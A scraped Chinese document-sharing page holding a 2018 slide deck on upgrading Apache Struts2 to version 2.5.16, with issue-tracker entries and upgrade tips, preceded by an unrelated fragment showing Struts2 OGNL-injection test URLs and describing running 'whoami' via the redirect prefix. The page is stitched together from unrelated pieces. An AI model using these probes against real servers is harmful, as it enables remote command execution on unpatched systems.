示例:/home.action?action:%25{'exploit'} 返回404错误/home.action?redirect:%25{3*4} 返回302,在响应头的Location头域中指定跳转目标URL为12/home.action?redirectAction:%25{3*4} 返回302,在响应头的Location头域中指定跳转目标URL为12.action2、利用漏洞执行命令方法:这里调用系统命令whoami来查询服务器的当前用户名,由于采用的是redirect关键字,页面将会重定向到由该关键字对应的OGNL表达式执行结果所指向的页面,在这个示例中,跳转的目标页面的URL就是当前用户名。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Struts2升级步骤
赵国正 2018年7月9日
目录
版本介绍
• 下载地址:/download.cgi#struts2516
• [WW-4546] - unclosed instantiation of PrintWriter • [WW-4741] - Http Sessions forcefully created for all requests using I18nInterceptor with default Storage value. • [WW-4873] - NotSerializableException - org.apache.struts2.dispatcher.StrutsRequestWrapper
升级须知
• 升级需要把struts2.5.16相关的jar文件下载并加入到项目 中 • 检查项目是否其他的框架需要升级 • 检查中间件版本
• 检查是否配置了拦截器
升级步骤
• 替换jar包
升级 JDK1.7.43
注意事项
• 升级过程中一定要考虑到其他依赖包小版本的问题 • 升级过程中一定要配置拦截器 • 升级过程中一定要考虑到其他依赖框架的版本问题
• [WW-4900] - NotSerializableException: com.opensymphony.xwork2.inject.ContainerImpl$ConstructorInjector when using ExecuteAndWait interceptor
• [WW-4901] - ClassCastException in JarEntryRevision • [WW-4903] - Dependency Mapping Exception When Using PrefixBasedActionProxyFactory • [WW-4906] - The converter() method of com.opensymphony.xwork2.conversion.annotations.TypeConversion is now deprecated. If this method is removed in some next release, it will forbid to describe a converter by the name (id) of a Spring bean. • [WW-4908] - Conversion by annotation does not work • [WW-4909] - List of Boolean is not populated in Action class • [WW-4911] - JSONResult exception in struts2-json-plugin-2.5.14.1.jar • [WW-4918] - buttons with name="method:METHODNAME" sometimes ignore global-allowed-methods defined in struts.xml • [WW-4920] - Could not create JarEntryRevision for [zip:C:/.... unknown protocol c • [WW-4921] - NPE in I18nInterceptor$SessionLocaleHandler.read
相关文档
最新文档